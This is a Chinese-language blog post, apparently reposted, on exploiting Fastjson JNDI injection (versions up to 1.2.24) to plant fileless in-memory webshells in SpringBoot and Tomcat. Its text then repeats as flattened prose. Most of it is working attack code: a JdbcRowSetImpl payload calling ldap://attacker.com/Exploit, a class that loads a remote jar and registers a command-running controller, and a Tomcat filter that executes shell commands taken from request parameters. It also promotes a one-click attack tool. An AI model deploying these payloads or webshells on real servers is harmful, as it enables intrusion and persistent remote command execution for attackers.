炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具
字数 874 2025-08-05 08:19:01

Fastjson JNDI注入与内存马利用技术详解

0x00 前言

本文详细分析Fastjson JNDI注入漏洞与内存马技术结合的利用方法,涵盖SpringBoot和Tomcat两种环境下的内存马注入技术。通过本文,您将掌握如何利用Fastjson漏洞实现无文件攻击和权限维持。

0x01 Fastjson JNDI基础利用

漏洞版本

  • Fastjson <= 1.2.24

基础POC

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://attacker.com/Exploit",
    "autoCommit":true
}

服务端代码示例

SpringBoot环境

@RestController
public class Test {
    @RequestMapping({"/test"})
    public String test(@RequestBody String json) {
        JSONObject.parseObject(json);
        return "213";
    }
}

Tomcat环境

public class TestTomcatServlet extends HttpServlet {
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        InputStream inputStream = request.getInputStream();
        String content = IOUtils.toString(inputStream, "utf-8");
        JSONObject.parse(content);
        OutputStream outputStream = response.getOutputStream();
        outputStream.write("test".getBytes());
    }
}

0x02 内存马技术详解

1. SpringBoot内存马

核心原理

通过获取当前运行时上下文环境,动态注册Controller实现内存马注入。

实现代码

public class SpringbootEcho {
    public SpringbootEcho() throws Exception {
        // 获取WebApplicationContext
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping r = (RequestMappingHandlerMapping)context
            .getBean(RequestMappingHandlerMapping.class);
        
        // 远程加载恶意jar
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(this.getJarUrl())});
        Class cls = urlClassLoader.loadClass("SSOLogin");
        Method method = cls.getDeclaredMethods()[0];
        
        // 配置RequestMapping信息
        PatternsRequestCondition url = new PatternsRequestCondition(new String[]{"/DriedMangoCmd"});
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(new RequestMethod[0]);
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        // 注册映射
        r.registerMapping(info, cls.newInstance(), method);
    }
    
    public String getJarUrl() {
        return "http://127.0.0.1:10011/a.jar";
    }
}

恶意jar内容示例

public class SSOLogin {
    public void login(HttpServletRequest request, HttpServletResponse response){
        try {
            String arg0 = request.getParameter("code");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

2. Tomcat内存马

核心原理

通过反射修改Tomcat内部状态,动态注册Filter实现内存马注入。

实现代码

public class TomcatEcho {
    public TomcatEcho() {
        try {
            // 反射修改关键字段
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
                .getDeclaredField("WRAP_SAME_OBJECT");
            Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
            
            // 修改字段修饰符
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & -17);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & -17);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & -17);
            
            // 设置字段可访问
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            
            // 初始化ThreadLocal
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal());
                lastServicedResponse.set(null, new ThreadLocal());
            } else {
                // 获取当前请求
                ThreadLocal<ServletRequest> threadLocalRequest = (ThreadLocal)lastServicedRequest.get(null);
                ServletRequest request = (ServletRequest)threadLocalRequest.get();
                
                try {
                    // 获取ServletContext
                    ServletContext servletContext = request.getServletContext();
                    if (servletContext.getFilterRegistration("webShell") == null) {
                        // 创建Filter实例
                        Filter WebShellClass = new Filter() {
                            public void init(FilterConfig filterConfig) throws ServletException {}
                            
                            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
                                throws IOException, ServletException {
                                String cmd = request.getParameter("cmd");
                                if (cmd != null) {
                                    String[] cmds = null;
                                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                        cmds = new String[]{"cmd.exe", "/c", cmd};
                                    } else {
                                        cmds = new String[]{"sh", "-c", cmd};
                                    }
                                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = (new Scanner(in)).useDelimiter("\\a");
                                    String output = s.hasNext() ? s.next() : "";
                                    Writer writer = response.getWriter();
                                    writer.write(output);
                                    writer.flush();
                                    writer.close();
                                }
                                chain.doFilter(request, response);
                            }
                            
                            public void destroy() {}
                        };
                        
                        // 获取StandardContext
                        Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
                        contextField = applicationContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        StandardContext standardContext = (StandardContext)contextField.get(applicationContext);
                        
                        // 修改状态以允许添加Filter
                        Field stateField = LifecycleBase.class.getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, LifecycleState.STARTING_PREP);
                        
                        // 注册Filter
                        Dynamic filterRegistration = servletContext.addFilter("webShell", WebShellClass);
                        filterRegistration.addMappingForUrlPatterns(
                            EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
                        
                        // 启动Filter
                        Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, (Object[])null);
                        
                        // 调整Filter顺序
                        FilterMap[] filterMaps = standardContext.findFilterMaps();
                        for(int i = 0; i < filterMaps.length; ++i) {
                            if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
                                FilterMap filterMap = filterMaps[i];
                                filterMaps[i] = filterMaps[0];
                                filterMaps[0] = filterMap;
                                break;
                            }
                        }
                        
                        // 恢复状态
                        stateField.set(standardContext, LifecycleState.STARTED);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x03 技术难点与解决方案

  1. 动态修改远程jar地址问题

    • 问题:传统方式需要每次重新编译jar修改IP地址
    • 解决方案:使用javassist动态修改字节码,无需重新编译
  2. 内部类导致的Class缺失问题

    • 问题:直接定义内部类会导致ldap请求完成后报错
    • 解决方案:使用Filter WebShellClass = new Filter()动态创建类并实例化

0x04 工具化利用

工具功能

  1. 自动识别目标环境(SpringBoot/Tomcat)
  2. 动态生成对应payload
  3. 一键启动LDAP服务

使用步骤

  1. 选择目标环境类型(SpringBoot/Tomcat)
  2. 配置LDAP服务端口
  3. 选择Fastjson JNDI注入方式
  4. 执行攻击

工具地址

总结

本文详细分析了Fastjson JNDI注入与内存马技术结合的利用方法,涵盖了SpringBoot和Tomcat两种主流Java Web环境下的实现细节。通过动态注册Controller或Filter,攻击者可以实现无文件攻击和持久化权限维持。防御此类攻击需要及时升级Fastjson版本,并部署RASP等运行时防护方案。

Fastjson JNDI注入与内存马利用技术详解 0x00 前言 本文详细分析Fastjson JNDI注入漏洞与内存马技术结合的利用方法,涵盖SpringBoot和Tomcat两种环境下的内存马注入技术。通过本文,您将掌握如何利用Fastjson漏洞实现无文件攻击和权限维持。 0x01 Fastjson JNDI基础利用 漏洞版本 Fastjson <= 1.2.24 基础POC 服务端代码示例 SpringBoot环境 Tomcat环境 0x02 内存马技术详解 1. SpringBoot内存马 核心原理 通过获取当前运行时上下文环境,动态注册Controller实现内存马注入。 实现代码 恶意jar内容示例 2. Tomcat内存马 核心原理 通过反射修改Tomcat内部状态,动态注册Filter实现内存马注入。 实现代码 0x03 技术难点与解决方案 动态修改远程jar地址问题 问题:传统方式需要每次重新编译jar修改IP地址 解决方案:使用javassist动态修改字节码,无需重新编译 内部类导致的Class缺失问题 问题:直接定义内部类会导致ldap请求完成后报错 解决方案:使用 Filter WebShellClass = new Filter() 动态创建类并实例化 0x04 工具化利用 工具功能 自动识别目标环境(SpringBoot/Tomcat) 动态生成对应payload 一键启动LDAP服务 使用步骤 选择目标环境类型(SpringBoot/Tomcat) 配置LDAP服务端口 选择Fastjson JNDI注入方式 执行攻击 工具地址 微信公众号文章 安全客文章 总结 本文详细分析了Fastjson JNDI注入与内存马技术结合的利用方法,涵盖了SpringBoot和Tomcat两种主流Java Web环境下的实现细节。通过动态注册Controller或Filter,攻击者可以实现无文件攻击和持久化权限维持。防御此类攻击需要及时升级Fastjson版本,并部署RASP等运行时防护方案。